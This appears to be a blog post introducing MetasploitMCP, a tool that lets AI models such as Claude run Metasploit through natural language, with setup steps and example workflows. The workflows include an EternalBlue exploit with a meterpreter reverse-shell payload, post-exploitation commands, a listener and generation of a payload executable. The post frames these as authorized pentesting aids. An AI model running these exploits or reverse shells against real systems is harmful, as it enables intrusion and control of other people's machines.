⚠️ Disclaimer: This blog is for educational purposes only. Never use these tools on systems you don't own or have explicit permission to test. Always practice ethical hacking in a legal lab environment.
What Is This All About?
Imagine telling an AI assistant in plain English — "Hey, scan this machine for vulnerabilities and try to exploit it" — and it actually does it. No memorizing complex commands. No switching between tools. Just natural language.
That's exactly what MetasploitMCP makes possible.
It's an open-source project that connects AI models like Claude with Metasploit Framework — the world's most popular penetration testing platform — through something called the Model Context Protocol (MCP).
🔗 GitHub Repository: GH05TCREW/MetasploitMCP
First, Let's Understand the Basics
What is Metasploit?
Metasploit Framework is a powerful open-source tool used by security professionals and ethical hackers to find and exploit vulnerabilities in systems. It has thousands of ready-to-use exploit modules, payload generators, and post-exploitation tools.
What is MCP (Model Context Protocol)?
MCP is a standard that lets AI models talk to external tools and services. Think of it like a universal remote control — instead of learning every tool separately, the AI uses MCP to control all of them through one common language.
So What Does MetasploitMCP Do?
It acts as a bridge between the two:
You (Natural Language) → AI (Claude) → MCP → Metasploit RPC → Target System
You just tell the AI what you want to do, and it figures out which Metasploit commands to run behind the scenes.
Key Features
🔍 1. Module Information
- list_exploits — Search and browse available exploit modules
- list_payloads — Find payloads filtered by platform and architecture
💥 2. Exploitation Workflow
- run_exploit — Execute an exploit against a target system
- run_auxiliary_module — Run scanning and auxiliary modules
- run_post_module — Run post-exploitation modules on active sessions
🎯 3. Payload Generation
- generate_payload — Create payload files (e.g.,
.exefiles) and save them locally
🖥️ 4. Session Management
- list_active_sessions — View all active connections
- send_session_command — Run commands inside a live shell or Meterpreter session
- terminate_session — Close a session when done
🔌 5. Handler (Listener) Management
- start_listener — Set up a listener to catch incoming connections
- list_listeners — View all active handlers/jobs
- stop_job — Kill any running job
How to Set It Up
Prerequisites
- Metasploit Framework installed
- Python 3.10 or higher
msfrpcd(Metasploit RPC daemon) running
Step 1 — Clone the Repo
git clone https://github.com/GH05TCREW/MetasploitMCP
cd MetasploitMCP
pip install -r requirements.txt
Step 2 — Start Metasploit's RPC Service
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
Step 3 — Run the MCP Server
For HTTP/SSE mode (most MCP clients):
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
For Claude Desktop (STDIO mode):
python MetasploitMCP.py --transport stdio
Step 4 — Configure Claude Desktop
Add this to your claude_desktop_config.json:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
Real-World Example Workflows
Basic Exploitation (EternalBlue Example)
1. list_exploits("ms17_010")
2. run_exploit("exploit/windows/smb/ms17_010_eternalblue",
{"RHOSTS": "192.168.1.100"},
"windows/x64/meterpreter/reverse_tcp",
{"LHOST": "192.168.1.10", "LPORT": 4444})
3. list_active_sessions()
4. send_session_command(1, "whoami")
Post-Exploitation
1. run_post_module("windows/gather/enum_logged_on_users", 1)
2. send_session_command(1, "sysinfo")
3. terminate_session(1)
Handler + Payload Setup
1. start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. generate_payload("windows/meterpreter/reverse_tcp", "exe",
{"LHOST": "192.168.1.10", "LPORT": 4444})
3. list_listeners()
4. stop_job(1)
Why Is This a Big Deal?
Before tools like MetasploitMCP, a penetration tester had to:
- Memorize or look up hundreds of Metasploit commands
- Manually chain together multiple tools
- Write scripts for automation
Now, an AI can handle all of that in response to a simple sentence. This is a huge productivity boost for security professionals — and also a reminder of how important it is to keep such tools out of the wrong hands.
Limitations and Risks You Should Know
While MetasploitMCP is impressive, it comes with real concerns:
- It's only as safe as you are — The AI follows your instructions, so mistakes (or bad intentions) have real consequences.
- Not fully autonomous — It still requires proper setup, a running Metasploit instance, and network access to targets.
- Legal risk — Running exploits against unauthorized systems is illegal in most countries.
- AI can make mistakes — The AI might misinterpret your command or pick the wrong module.
Who Should Use This?
✅ Ethical hackers and red teamers who want to speed up their workflows
✅ Security researchers exploring AI-assisted pentesting
✅ CTF (Capture the Flag) players practicing in lab environments
✅ Cybersecurity students learning how exploits work
❌ Not for unauthorized testing, malicious use, or beginners without proper guidance
Final Thoughts
MetasploitMCP is a glimpse into the future of cybersecurity — where AI doesn't just assist analysts but actively participates in the testing process. It lowers the barrier to entry for security professionals while also raising the stakes for defenders.
The project already has 500+ stars on GitHub and is growing fast, which shows how much interest exists at the intersection of AI and cybersecurity.
If you're a security professional, this is definitely worth exploring in a controlled lab environment.
🔗 GitHub Project: https://github.com/GH05TCREW/MetasploitMCP
Published: April 2026 | Category: Cybersecurity, AI Tools, Ethical Hacking